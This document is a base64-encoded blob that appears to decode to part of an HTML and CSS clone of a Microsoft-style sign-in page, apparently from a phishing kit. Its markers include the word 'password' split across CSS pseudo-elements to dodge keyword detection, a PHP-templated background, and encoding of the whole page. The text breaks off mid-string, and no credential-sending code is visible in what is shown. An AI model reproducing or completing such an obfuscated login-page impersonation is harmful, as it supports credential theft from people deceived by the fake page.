1cyxpbnB1dFt0eXBlPVwncmVzZXRcJ10uYnRuLXByaW1hcnk6aG92ZXI6Zm9jdXMsLmJ0bi5idG4tZ29vZ2xlLmJ0bi1wcmltYXJ5OmhvdmVyOmZvY3VzLC5idG4ucHJpbWFyeTpob3Zlcjpmb2N1cywuYnV0dG9uLnByaW1hcnk6aG92ZXI6Zm9jdXMsYnV0dG9uLnByaW1hcnk6aG92ZXI6Zm9jdXMsaW5wdXRbdHlwZT1cJ2J1dHRvblwnXS5wcmltYXJ5OmhvdmVyOmZvY3VzLGlucHV0W3R5cGU9XCdzdWJtaXRcJ10ucHJpbWFyeTpob3Zlcjpmb2N1cyxpbnB1dFt0eXBlPVwncmVzZXRcJ10ucHJpbWFyeTpob3Zlcjpmb2N1cywuYnRuLmJ0bi1nb29nbGUucHJpbWFyeTpob3Zlcjpmb2N1cywuYnRuLnNlY29uZGFyeTpob3Zlcjpmb2N1cywuYnV0dG9uLnNlY29uZGFyeTpob3Zlcjpmb2N1cyxidXR0b24uc2Vjb25kYXJ5OmhvdmVyOmZvY3VzLGlucHV0W3R5cGU9XCdidXR0b25cJ10uc2Vjb25kYXJ5OmhvdmVyOmZvY3VzLGlucHV0W3R5cGU9XCdzdWJtaXRcJ10uc2Vjb25kYXJ5OmhvdmVyOmZvY3VzLGlucHV0W3R5cGU9XCdyZXNldFwnXS5zZWNvbmRhcnk6aG92ZXI6Zm9jdXMsLmJ0bi5idG4tZ29vZ2xlLnNlY29uZGFyeTpob3Zlcjpmb2N1c3tvdXRsaW5lOjFweCBzb2xpZCB3aW5kb3dUZXh0O2JvcmRlcjoxcHggc29saWQgd2luZG93O2JhY2tncm91bmQtY29sb3I6d2luZG93O2NvbG9yOmhpZ2hsaWdodDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfS5idG4uYnRuLXByaW1hcnk6Zm9jdXMsLmJ1dHRvbi5idG4tcHJpbWFyeTpmb2N1cyxidXR0b24uYnRuLXByaW1hcnk6Zm9jdXMsaW5wdXRbdHlwZT1cJ2J1dHRvblwnXS5idG4tcHJpbWFyeTpmb2N1cyxpbnB1dFt0eXBlPVwnc3VibWl0XCddLmJ0bi1wcmltYXJ5OmZvY3VzLGlucHV0W3R5cGU9XCdyZXNldFwnXS5idG4tcHJpbWFyeTpmb2N1cywuYnRuLmJ0bi1nb29nbGUuYnRuLXByaW1hcnk6Zm9jdXMsLmJ0bi5wcmltYXJ5OmZvY3VzLC5idXR0b24ucHJpbWFyeTpmb2N1cyxidXR0b24ucHJpbWFyeTpmb2N1cyxpbnB1dFt0eXBlPVwnYnV0dG9uXCddLnByaW1hcnk6Zm9jdXMsaW5wdXRbdHlwZT1cJ3N1Ym1pdFwnXS5wcmltYXJ5OmZvY3VzLGlucHV0W3R5cGU9XCdyZXNldFwnXS5wcmltYXJ5OmZvY3VzLC5idG4uYnRuLWdvb2dsZS5wcmltYXJ5OmZvY3VzLC5idG4uc2Vjb25kYXJ5OmZvY3VzLC5idXR0b24uc2Vjb25kYXJ5OmZvY3VzLGJ1dHRvbi5zZWNvbmRhcnk6Zm9jdXMsaW5wdXRbdHlwZT1cJ2J1dHRvblwnXS5zZWNvbmRhcnk6Zm9jdXMsaW5wdXRbdHlwZT1cJ3N1Ym1pdFwnXS5zZWNvbmRhcnk6Zm9jdXMsaW5wdXRbdHlwZT1cJ3Jlc2V0XCddLnNlY29uZGFyeTpmb2N1cywuYnRuLmJ0bi1nb29nbGUuc2Vjb25kYXJ5OmZvY3Vze291dGxpbmU6MXB4IHNvbGlkIHdpbmRvd1RleHQ7Ym9yZGVyOjFweCBzb2xpZCB3aW5kb3c7YmFja2dyb3VuZC1jb2xvcjpoaWdobGlnaHQ7Y29sb3I6aGlnaGxpZ2h0VGV4dDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfS5iYWNrQnV0dG9ue291dGxpbmU6bm9uZTtib3JkZXI6MXB4IHNvbGlkIHdpbmRvdztiYWNrZ3JvdW5kLWNvbG9yOndpbmRvdztjb2xvcjp3aW5kb3dUZXh0fS5iYWNrQnV0dG9uOmhvdmVye291dGxpbmU6bm9uZTtib3JkZXI6MXB4IHNvbGlkIGhpZ2hsaWdodDtiYWNrZ3JvdW5kLWNvbG9yOndpbmRvdztjb2xvcjp3aW5kb3dUZXh0fS5iYWNrQnV0dG9uOmhvdmVyOmZvY3Vze291dGxpbmU6bm9uZTtib3JkZXI6MXB4IHNvbGlkIGhpZ2hsaWdodDtiYWNrZ3JvdW5kLWNvbG9yOndpbmRvdztjb2xvcjp3aW5kb3dUZXh0fS5iYWNrQnV0dG9uOmZvY3VzLC5iYWNrQnV0dG9uOmFjdGl2ZXtvdXRsaW5lOm5vbmU7Ym9yZGVyOjFweCBkYXNoZWQgaGlnaGxpZ2h0O2JhY2tncm91bmQtY29sb3I6d2luZG93O2NvbG9yOndpbmRvd1RleHR9fS5jYy1iYW5uZXJ7cG9zaXRpb246cmVsYXRpdmU7Zm9udC1zaXplOjEycHg7ZGlzcGxheTp0YWJsZS1yb3c7aGVpZ2h0OjJlbX0uY2MtYmFubmVyIGRpdiwuY2MtYmFubmVyIHNwYW4sLmNjLWJhbm5lciBhLC5jYy1iYW5uZXIgc3Zne21hcmdpbjowO3BhZGRpbmc6MDt0ZXh0LWRlY29yYXRpb246bm9uZX0uY2MtYmFubmVyIC5jYy12LWNlbnRlcntkaXNwbGF5OmlubGluZTt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bGluZS1oZWlnaHQ6MmVtfS5jYy10ZXh0PmF7ZmxvYXQ6cmlnaHR9LmNjLWJhbm5lcntjb2xvcjojMjMxZjIwO2JhY2tncm91bmQ6I2YyZjJmMjt0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjAgMWVtO21hcmdpbjowfS5jYy1iYW5uZXI+LmNjLWNvbnRhaW5lcnt0ZXh0LWFsaWduOmxlZnQ7cGFkZGluZzouNzVlbTtkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDoxMDAlfUBtZWRpYSAobWluLXdpZHRoOjc2OHB4KXsuY2MtYmFubmVye2ZvbnQtc2l6ZToxM3B4fX1AbWVkaWEgKG1pbi13aWR0aDoxMDg0cHgpey5jYy1iYW5uZXJ7cGFkZGluZzowfS5jYy1iYW5uZXI+LmNjLWNvbnRhaW5lcnt3aWR0aDo5MCU7bWF4LXdpZHRoOjE2MDBweH19LmNjLWJhbm5lci5hY3RpdmV7ZGlzcGxheTpibG9ja30uY2MtYmFubmVyIC5jYy1pY29ue2hlaWdodDoxLjg0NmVtO3dpZHRoOjEuODQ2ZW19LmNjLWJhbm5lciAuY2MtdGV4dHttYXJnaW4tbGVmdDouNWVtO21hcmdpbi1yaWdodDoxLjVlbX0uY2MtYmFubmVyIC5jYy1saW5re2NvbG9yOiMwMDY3Yjh9LmNjLWJhbm5lciAuY2MtbGluazpob3ZlciwuY2MtYmFubmVyIC5jYy1saW5rOmZvY3Vze3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LmNjLWJhbm5lciAuY2MtbGluazpmb2N1c3tvdXRsaW5lOjA7YmFja2dyb3VuZDojZGFlNmVmO2JhY2tncm91bmQ6Y29udGVudC1ib3ggcmdiYSgwLDEyMCwyMTUsMC4xKX0uZW52LWJhbm5lcntkaXNwbGF5OnRhYmxlO21heC13aWR0aDoyMDBweDttaW4taGVpZ2h0OjUwcHg7bWF4LWhlaWdodDoxMDBweDtvdmVyZmxvdzpoaWRkZW47YmFja2dyb3VuZDojMDA2N2I4O2NvbG9yOiNmZmY7cG9zaXRpb246YWJzb2x1dGU7bWFyZ2luOjEwcHg7Zm9udC13ZWlnaHQ6Ym9sZDt0b3A6MDtyaWdodDowO3otaW5kZXg6MTAwfS5lbnYtYmFubmVyLWlubmVye2Rpc3BsYXk6dGFibGUtY2VsbDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7cGFkZGluZzo1cHg7dGV4dC1hbGlnbjpsZWZ0O2RpcmVjdGlvbjpsdHJ9Ym9keSBhLmVudi1iYW5uZXItbGlua3t0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfS5lbnYtYmFubmVyLWxpbms6aG92ZXIsLmVudi1iYW5uZXItbGluazpsaW5rLC5lbnYtYmFubmVyLWxpbms6dmlzaXRlZCwuZW52LWJhbm5lci1saW5rOnZpc2l0ZWQ6aG92ZXIsLmVudi1iYW5uZXItbGluazpsaW5rOmhvdmVyLC5lbnYtYmFubmVyLWxpbms6YWN0aXZlLC5lbnYtYmFubmVyLWxpbms6bGluazphY3RpdmUsLmVudi1iYW5uZXItbGluazp2aXNpdGVkOmFjdGl2ZXtjb2xvcjojZmZmfS5lbnYtYmFubmVyLXRleHR7ZGlzcGxheTppbmxpbmUtYmxvY2s7Zm9udC13ZWlnaHQ6bm9ybWFsfS5mYWRlLWluLWxpZ2h0Ym94e2FuaW1hdGlvbjpmYWRlSW4gLjNzIGVhc2UtaW47LXdlYmtpdC1hbmltYXRpb246ZmFkZUluIC4zcyBlYXNlLWluOy1tb3otYW5pbWF0aW9uOmZhZGVJbiAuM3MgZWFzZS1pbjstbXMtYW5pbWF0aW9uOmZhZGVJbiAuM3MgZWFzZS1pbjstby1hbmltYXRpb246ZmFkZUluIC4zcyBlYXNlLWlufS5hbmltYXRle2FuaW1hdGlvbi1kdXJhdGlvbjouMjVzOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOi4yNXM7LW1vei1hbmltYXRpb24tZHVyYXRpb246LjI1czstbXMtYW5pbWF0aW9uLWR1cmF0aW9uOi4yNXM7LW8tYW5pbWF0aW9uLWR1cmF0aW9uOi4yNXM7YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjpjdWJpYy1iZXppZXIoLjUsIDAsIC41LCAxKTstd2Via2l0LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246Y3ViaWMtYmV6aWVyKC41LCAwLCAuNSwgMSk7LW1vei1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOmN1YmljLWJlemllciguNSwgMCwgLjUsIDEpOy1tcy1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOmN1YmljLWJlemllciguNSwgMCwgLjUsIDEpOy1vLWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246Y3ViaWMtYmV6aWVyKC41LCAwLCAuNSwgMSk7YW5pbWF0aW9uLWZpbGwtbW9kZTpib3RoOy13ZWJraXQtYW5pbWF0aW9uLWZpbGwtbW9kZTpib3RoOy1tb3otYW5pbWF0aW9uLWZpbGwtbW9kZTpib3RoOy1tcy1hbmltYXRpb24tZmlsbC1tb2RlOmJvdGg7LW8tYW5pbWF0aW9uLWZpbGwtbW9kZTpib3RoO3RyYW5zaXRpb24tcHJvcGVydHk6bGVmdDstd2Via2l0LXRyYW5zaXRpb24tcHJvcGVydHk6bGVmdDstbW96LXRyYW5zaXRpb24tcHJvcGVydHk6bGVmdDstbXMtdHJhbnNpdGlvbi1wcm9wZXJ0eTpsZWZ0Oy1vLXRyYW5zaXRpb24tcHJvcGVydHk6bGVmdH1odG1sW2Rpcj1sdHJdIC5hbmltYXRlLnNsaWRlLW91dC1uZXh0LGh0bWxbZGlyPXJ0bF0gLmFuaW1hdGUuc2xpZGUtb3V0LWJhY2t7YW5pbWF0aW9uLW5hbWU6aGlkZS10by1sZWZ0Oy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6aGlkZS10by1sZWZ0Oy1tb3otYW5pbWF0aW9uLW5hbWU6aGlkZS10by1sZWZ0Oy1tcy1hbmltYXRpb24tbmFtZTpoaWRlLXRvLWxlZnQ7LW8tYW5pbWF0aW9uLW5hbWU6aGlkZS10by1sZWZ0fWh0bWxbZGlyPWx0cl0gLmFuaW1hdGUuc2xpZGUtaW4tbmV4dCxodG1sW2Rpcj1ydGxdIC5hbmltYXRlLnNsaWRlLWluLWJhY2t7YW5pbWF0aW9uLW5hbWU6c2hvdy1mcm9tLXJpZ2h0Oy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6c2hvdy1mcm9tLXJpZ2h0Oy1tb3otYW5pbWF0aW9uLW5hbWU6c2hvdy1mcm9tLXJpZ2h0Oy1tcy1hbmltYXRpb24tbmFtZTpzaG93LWZyb20tcmlnaHQ7LW8tYW5pbWF0aW9uLW5hbWU6c2hvdy1mcm9tLXJpZ2h0fWh0bWxbZGlyPWx0cl0gLmFuaW1hdGUuc2xpZGUtb3V0LWJhY2ssaHRtbFtkaXI9cnRsXSAuYW5pbWF0ZS5zbGlkZS1vdXQtbmV4dHthbmltYXRpb24tbmFtZTpoaWRlLXRvLXJpZ2h0Oy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6aGlkZS10by1yaWdodDstbW96LWFuaW1hdGlvbi1uYW1lOmhpZGUtdG8tcmlnaHQ7LW1zLWFuaW1hdGlvbi1uYW1lOmhpZGUtdG8tcmlnaHQ7LW8tYW5pbWF0aW9uLW5hbWU6aGlkZS10by1yaWdodH1odG1sW2Rpcj1sdHJdIC5hbmltYXRlLnNsaWRlLWluLWJhY2ssaHRtbFtkaXI9cnRsXSAuYW5pbWF0ZS5zbGlkZS1pbi1uZXh0e2FuaW1hdGlvbi1uYW1lOnNob3ctZnJvbS1sZWZ0Oy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6c2hvdy1mcm9tLWxlZnQ7LW1vei1hbmltYXRpb24tbmFtZTpzaG93LWZyb20tbGVmdDstbXMtYW5pbWF0aW9uLW5hbWU6c2hvdy1mcm9tLWxlZnQ7LW8tYW5pbWF0aW9uLW5hbWU6c2hvdy1mcm9tLWxlZnR9QGtleWZyYW1lcyBoaWRlLXRvLWxlZnR7ZnJvbXtsZWZ0OjA7b3BhY2l0eToxfXRve2xlZnQ6LTIwMHB4O29wYWNpdHk6MH19QGtleWZyYW1lcyBzaG93LWZyb20tcmlnaHR7ZnJvbXtsZWZ0OjIwMHB4O29wYWNpdHk6MH10b3tsZWZ0OjA7b3BhY2l0eToxfX1Aa2V5ZnJhbWVzIGhpZGUtdG8tcmlnaHR7ZnJvbXtsZWZ0OjA7b3BhY2l0eToxfXRve2xlZnQ6MjAwcHg7b3BhY2l0eTowfX1Aa2V5ZnJhbWVzIHNob3ctZnJvbS1sZWZ0e2Zyb217bGVmdDotMjAwcHg7b3BhY2l0eTowfXRve2xlZnQ6MDtvcGFjaXR5OjF9fUAtd2Via2l0LWtleWZyYW1lcyBoaWRlLXRvLWxlZnR7ZnJvbXtsZWZ0OjA7b3BhY2l0eToxfXRve2xlZnQ6LTIwMHB4O29wYWNpdHk6MH19QC13ZWJraXQta2V5ZnJhbWVzIHNob3ctZnJvbS1yaWdodHtmcm9te2xlZnQ6MjAwcHg7b3BhY2l0eTowfXRve2xlZnQ6MDtvcGFjaXR5OjF9fUAtd2Via2l0LWtleWZyYW1lcyBoaWRlLXRvLXJpZ2h0e2Zyb217bGVmdDowO29wYWNpdHk6MX10b3tsZWZ0OjIwMHB4O29wYWNpdHk6MH19QC13ZWJraXQta2V5ZnJhbWVzIHNob3ctZnJvbS1sZWZ0e2Zyb217bGVmdDotMjAwcHg7b3BhY2l0eTowfXRve2xlZnQ6MDtvcGFjaXR5OjF9fUAtbW96LWtleWZyYW1lcyBoaWRlLXRvLWxlZnR7ZnJvbXtsZWZ0OjA7b3BhY2l0eToxfXRve2xlZnQ6LTIwMHB4O29wYWNpdHk6MH19QC1tb3ota2V5ZnJhbWVzIHNob3ctZnJvbS1yaWdodHtmcm9te2xlZnQ6MjAwcHg7b3BhY2l0eTowfXRve2xlZnQ6MDtvcGFjaXR5OjF9fUAtbW96LWtleWZyYW1lcyBoaWRlLXRvLXJpZ2h0e2Zyb217bGVmdDowO29wYWNpdHk6MX10b3tsZWZ0OjIwMHB4O29wYWNpdHk6MH19QC1tb3ota2V5ZnJhbWVzIHNob3ctZnJvbS1sZWZ0e2Zyb217bGVmdDotMjAwcHg7b3BhY2l0eTowfXRve2xlZnQ6MDtvcGFjaXR5OjF9fUAtbXMta2V5ZnJhbWVzIGhpZGUtdG8tbGVmdHtmcm9te2xlZnQ6MDtvcGFjaXR5OjF9dG97bGVmdDotMjAwcHg7b3BhY2l0eTowfX1ALW1zLWtleWZyYW1lcyBzaG93LWZyb20tcmlnaHR7ZnJvbXtsZWZ0OjIwMHB4O29wYWNpdHk6MH10b3tsZWZ0OjA7b3BhY2l0eToxfX1ALW1zLWtleWZyYW1lcyBoaWRlLXRvLXJpZ2h0e2Zyb217bGVmdDowO29wYWNpdHk6MX10b3tsZWZ0OjIwMHB4O29wYWNpdHk6MH19QC1tcy1rZXlmcmFtZXMgc2hvdy1mcm9tLWxlZnR7ZnJvbXtsZWZ0Oi0yMDBweDtvcGFjaXR5OjB9dG97bGVmdDowO29wYWNpdHk6MX19QC1vLWtleWZyYW1lcyBoaWRlLXRvLWxlZnR7ZnJvbXtsZWZ0OjA7b3BhY2l0eToxfXRve2xlZnQ6LTIwMHB4O29wYWNpdHk6MH19QC1vLWtleWZyYW1lcyBzaG93LWZyb20tcmlnaHR7ZnJvbXtsZWZ0OjIwMHB4O29wYWNpdHk6MH10b3tsZWZ0OjA7b3BhY2l0eToxfX1ALW8ta2V5ZnJhbWVzIGhpZGUtdG8tcmlnaHR7ZnJvbXtsZWZ0OjA7b3BhY2l0eToxfXRve2xlZnQ6MjAwcHg7b3BhY2l0eTowfX1ALW8ta2V5ZnJhbWVzIHNob3ctZnJvbS1sZWZ0e2Zyb217bGVmdDotMjAwcHg7b3BhY2l0eTowfXRve2xlZnQ6MDtvcGFjaXR5OjF9fQoJLnBhc2hvbGQ6OmJlZm9yZSB7CgkJIGNvbnRlbnQ6ICJwYXNzIgoJIH0KCSAucGFzaG9sZDo6YWZ0ZXIgewoJCSBjb250ZW50OiAid29yZCIKCSB9CiAgICAgICAgPC9zdHlsZT4KICAgPGJvZHkgY2xhc3M9ImNiIiBzdHlsZT0iZGlzcGxheTpibG9jazsgIj4KCiAgICAgICA8ZGl2IGlkPSJjb250ZW50IiBzdHlsZT0iZGlzcGxheSA6IG5vbmUiPiAgCiAgICAgICAgIDxkaXY+CiAgICAgICAgICAgIAogICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9b3V0ZXI+CiAgICAgICAgICAgICAgIDxkaXYgaWQ9ImJnX2ltZyIgY2xhc3M9ImFwcCBtaWRkbGUiIHN0eWxlPSJiYWNrZ3JvdW5kLWltYWdlOiAnIC4oJGJhY2sgPz8gImxpbmVhci1ncmFkaWVudCh0byByaWdodCwgI2NjY2NjYyAsICNlYmRmZGIpOyIgKS4nIj4KICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYmFja2dyb3VuZC1sb2dvLWhvbGRlciI+CiAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYXBwIGZhZGUtaW4tbGlnaHRib3ggaW5uZXIiPgogICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0icHJvZ3Jlc3NCYXIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InByb2dyZXNzIiByb2xlPSJwcm9ncmVzc2JhciIgZGF0YS1iaW5kPSJjb21wb25lbnQ6IFwnbWFyY2hpbmctYW50cy1jb250cm9sXCcsIGFyaWFMYWJlbDogc3RyW1wnV0ZfU1RSX1Byb2dyZXNzVGV4dFwnXSIgYXJpYS1sYWJlbD0iUGxlYXNlIHdhaXQiPjwhLS0gIC0tPgogICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGtvIGlmOiBzdnIuZlN1cHBvcnRXaW5kb3dzU3R5bGVzIC0tPjwhLS0gL2tvIC0tPgogICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGtvIGlmbm90OiBzdnIuZlN1cHBvcnRXaW5kb3dzU3R5bGVzIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBrbyBpZjogdXNlQ3NzQW5pbWF0aW9uIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSAva28gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGtvIGlmbm90OiB1c2VDc3NBbmltYXRpb24gLS0+PCEtLSAva28gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gL2tvIC0tPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGlkPSJsb2dvX2ltYWdlIiBjbGFzcz0iYmFubmVyLWxvZ28iIHNyYz0iZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4yWnlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpSUhkcFpIUm9QU0l4TURnaUlHaGxhV2RvZEQwaU1qUWlJSFpwWlhkQ2IzZzlJakFnTUNBeE1EZ2dNalFpUGp4MGFYUnNaVDVoYzNObGRITThMM1JwZEd4bFBqeHdZWFJvSUdROUlrMDBOQzQ0TXpZc05DNDJWakU0TGpSb0xUSXVORlkzTGpVNE0wZzBNaTQwVERNNExqRXhPU3d4T0M0MFNETTJMalV6TVV3ek1pNHhORElzTnk0MU9ETm9MUzR3TWpsV01UZ3VORWd5T1M0NVZqUXVObWd6TGpRek5rd3pOeTR6TERFMExqZ3phQzR3TlRoTU5ERXVOVFExTERRdU5scHRNaXd4TGpBME9XRXhMakkyT0N3eExqSTJPQ3d3TERBc01Td3VOREU1TFM0NU5qY3NNUzQwTVRNc01TNDBNVE1zTUN3d0xERXNNUzB1TXprc01TNHpPVElzTVM0ek9USXNNQ3d3TERFc01TNHdNaTQwTERFdU15d3hMak1zTUN3d0xERXNMalF1T1RVNExERXVNalE0TERFdU1qUTRMREFzTUN3eExTNDBNVFF1T1RVekxERXVOREk0TERFdU5ESTRMREFzTUN3eExURXVNREV1TXpnMVFURXVOQ3d4TGpRc01Dd3dMREVzTkRjdU1qVXNOaTQyWVRFdU1qWXhMREV1TWpZeExEQXNNQ3d4TFM0ME1Ea3RMamswT0UwME9TNDBNU3d4T0M0MFNEUTNMakE0TVZZNExqVXdOMGcwT1M0ME1WcHROeTR3TmpRdE1TNDJPVFJoTXk0eU1UTXNNeTR5TVRNc01Dd3dMREFzTVM0eE5EVXRMakkwTVN3MExqZ3hNU3cwTGpneE1Td3dMREFzTUN3eExqRTFOUzB1TmpNMVZqRTRZVFF1TmpZMUxEUXVOalkxTERBc01Dd3hMVEV1TWpZMkxqUTRNU3cyTGpnNE5pdzJMamc0Tml3d0xEQXNNUzB4TGpVMU5DNHhOalFzTkM0M01EY3NOQzQzTURjc01Dd3dMREV0TkM0NU1UZ3ROQzQ1TURnc05TNDJOREVzTlM0Mk5ERXNNQ3d3TERFc01TNDBMVE11T1RNeUxEVXVNRFUxTERVdU1EVTFMREFzTUN3eExETXVPVFUxTFRFdU5UUTFMRFV1TkRFMExEVXVOREUwTERBc01Dd3hMREV1TXpJMExqRTJPQ3cwTGpRek1TdzBMalF6TVN3d0xEQXNNU3d4TGpBMk15NHpPWFl5TGpJek0yRTBMamMyTXl3MExqYzJNeXd3TERBc01DMHhMakV0TGpZeE1Td3pMakU0TkN3ekxqRTROQ3d3TERBc01DMHhMakUxTFM0eU1UY3NNaTQ1TVRrc01pNDVNVGtzTUN3d0xEQXRNaTR5TWpNdU9Td3pMak0zTERNdU16Y3NNQ3d3TERBdExqZzBOeXd5TGpReE5pd3pMakl4Tml3ekxqSXhOaXd3TERBc01Dd3VPREV6TERJdU16TTRMREl1T1RNMkxESXVPVE0yTERBc01Dd3dMREl1TWpBNUxqZ3pOMDAyTlM0MExEZ3VNelF6WVRJdU9UVXlMREl1T1RVeUxEQXNNQ3d4TEM0MUxqQXpPU3d5TGpFc01pNHhMREFzTUN3eExDNHpOelV1TVhZeUxqTTFPR0V5TGpBMExESXVNRFFzTUN3d0xEQXRMalV6TkMwdU1qVTFMREl1TmpRMkxESXVOalEyTERBc01Dd3dMUzQ0TlRJdExqRXlMREV1T0RBNExERXVPREE0TERBc01Dd3dMVEV1TkRRNExqY3lNaXd6TGpRMk55d3pMalEyTnl3d0xEQXNNQzB1TlRreUxESXVNakl6VmpFNExqUklOakF1TlRJMVZqZ3VOVEEzYURJdU16STVkakV1TlRVNWFDNHdNemhCTWk0M01qa3NNaTQzTWprc01Dd3dMREVzTmpNdU9EVTFMRGd1T0N3eUxqWXhNU3d5TGpZeE1Td3dMREFzTVN3Mk5TNDBMRGd1TXpRemJURXNOUzR5TlRSQk5TNHpOVGdzTlM0ek5UZ3NNQ3d3TERFc05qY3VOemt5TERrdU56RmhOUzR4TERVdU1Td3dMREFzTVN3ekxqZzFMVEV1TkRNMExEUXVOelF5TERRdU56UXlMREFzTUN3eExETXVOakl6TERFdU16Z3hMRFV1TWpFeUxEVXVNakV5TERBc01Dd3hMREV1TXl3ekxqY3lPU3cxTGpJMU55dzFMakkxTnl3d0xEQXNNUzB4TGpNNE5pd3pMamd6TERVdU1ERTVMRFV1TURFNUxEQXNNQ3d4TFRNdU56Y3lMREV1TkRJMExEUXVPVE0xTERRdU9UTTFMREFzTUN3eExUTXVOalV5TFRFdU16VXlRVFF1T1RnM0xEUXVPVGczTERBc01Dd3hMRFkyTGpRd05pd3hNeTQyYlRJdU5ESTFMUzR3TnpkaE15NDFNelVzTXk0MU16VXNNQ3d3TERBc0xqY3NNaTR6Tmpnc01pNDFNRFVzTWk0MU1EVXNNQ3d3TERBc01pNHdNVEV1T0RFNExESXVNelExTERJdU16UTFMREFzTUN3d0xERXVPVE0wTFM0NE1UZ3NNeTQzT0RNc015NDNPRE1zTUN3d0xEQXNMalkyTkMweUxqUXlOU3d6TGpZMU1Td3pMalkxTVN3d0xEQXNNQzB1TmpnNExUSXVOREV4TERJdU16ZzVMREl1TXpnNUxEQXNNQ3d3TFRFdU9USTVMUzQ0TVRNc01pNDBOQ3d5TGpRMExEQXNNQ3d3TFRFdU9UZzRMamcxTWl3ekxqY3dOeXd6TGpjd055d3dMREFzTUMwdU56QTNMREl1TkROdE1URXVNaTB5TGpReE5tRXhMREVzTUN3d0xEQXNMak14T0M0M09EVXNOUzQwTWpZc05TNDBNallzTUN3d0xEQXNNUzQwTGpjeE55dzBMamMyTnl3MExqYzJOeXd3TERBc01Td3hMamsxT1N3eExqSTFOaXd5TGpZc01pNDJMREFzTUN3eExDNDFOak1zTVM0Mk9EbEJNaTQzTVRVc01pNDNNVFVzTUN3d0xERXNPRE11TWl3eE55NDNPVFJoTkM0MU5UZ3NOQzQxTlRnc01Dd3dMREV0TWk0NUxqZzBOeXcyTGprM09DdzJMamszT0N3d0xEQXNNUzB4TGpNMk1pMHVNVFE1TERZdU1EUTNMRFl1TURRM0xEQXNNQ3d4TFRFdU1qWTFMUzR6T0hZdE1pNHlPV0UxTGpjek15dzFMamN6TXl3d0xEQXNNQ3d4TGpNMk55NDNMRFFzTkN3d0xEQXNNQ3d4TGpNeU9DNHlOaXd5TGpNMk5Td3lMak0yTlN3d0xEQXNNQ3d4TGpFMk5DMHVNakl4TGpjNUxqYzVMREFzTUN3d0xDNHpOelV0TGpjME1Td3hMakF5T1N3eExqQXlPU3d3TERBc01DMHVNemt0TGpneE15dzFMamMyT0N3MUxqYzJPQ3d3TERBc01DMHhMalEzTnkwdU56WTFMRFF1TlRZMExEUXVOVFkwTERBc01Dd3hMVEV1T0RJNUxURXVNakV6TERJdU5qVTFMREl1TmpVMUxEQXNNQ3d4TFM0MU16a3RNUzQzTVRNc01pNDNNRFlzTWk0M01EWXNNQ3d3TERFc01TNHdOak10TWk0eVFUUXVNalF6TERRdU1qUXpMREFzTUN3eExEZ3hMalVzT0M0eU5UWmhOaTQyTmpNc05pNDJOak1zTUN3d0xERXNNUzR4TmpRdU1URTFMRFV1TVRZeExEVXVNVFl4TERBc01Dd3hMREV1TURjNExqTjJNaTR5TVRSaE5DNDVOelFzTkM0NU56UXNNQ3d3TERBdE1TNHdOemd0TGpVeU9Td3pMallzTXk0MkxEQXNNQ3d3TFRFdU1qSXlMUzR5TWpFc01TNDNPREVzTVM0M09ERXNNQ3d3TERBdE1TNHdNelF1TWpZdU9ESTBMamd5TkN3d0xEQXNNQzB1TXpjeExqY3hNazA0TlM0eU56Z3NNVE11TmtFMUxqTTFPQ3cxTGpNMU9Dd3dMREFzTVN3NE5pNDJOalFzT1M0M01XRTFMakVzTlM0eExEQXNNQ3d4TERNdU9EUTVMVEV1TkRNMExEUXVOelF6TERRdU56UXpMREFzTUN3eExETXVOakkwTERFdU16Z3hMRFV1TWpFeUxEVXVNakV5TERBc01Dd3hMREV1TXl3ekxqY3lPU3cxTGpJMU9TdzFMakkxT1N3d0xEQXNNUzB4TGpNNE5pd3pMamd6TERVdU1ESXNOUzR3TWl3d0xEQXNNUzB6TGpjM015d3hMalF5TkN3MExqa3pOQ3cwTGprek5Dd3dMREFzTVMwekxqWTFNaTB4TGpNMU1rRTBMams0Tnl3MExqazROeXd3TERBc01TdzROUzR5Tnpnc01UTXVObTB5TGpReU5TMHVNRGMzWVRNdU5UTTNMRE11TlRNM0xEQXNNQ3d3TEM0M0xESXVNelk0TERJdU5UQTJMREl1TlRBMkxEQXNNQ3d3TERJdU1ERXhMamd4T0N3eUxqTTBOU3d5TGpNME5Td3dMREFzTUN3eExqa3pOQzB1T0RFNExETXVOemd6TERNdU56Z3pMREFzTUN3d0xDNDJOalF0TWk0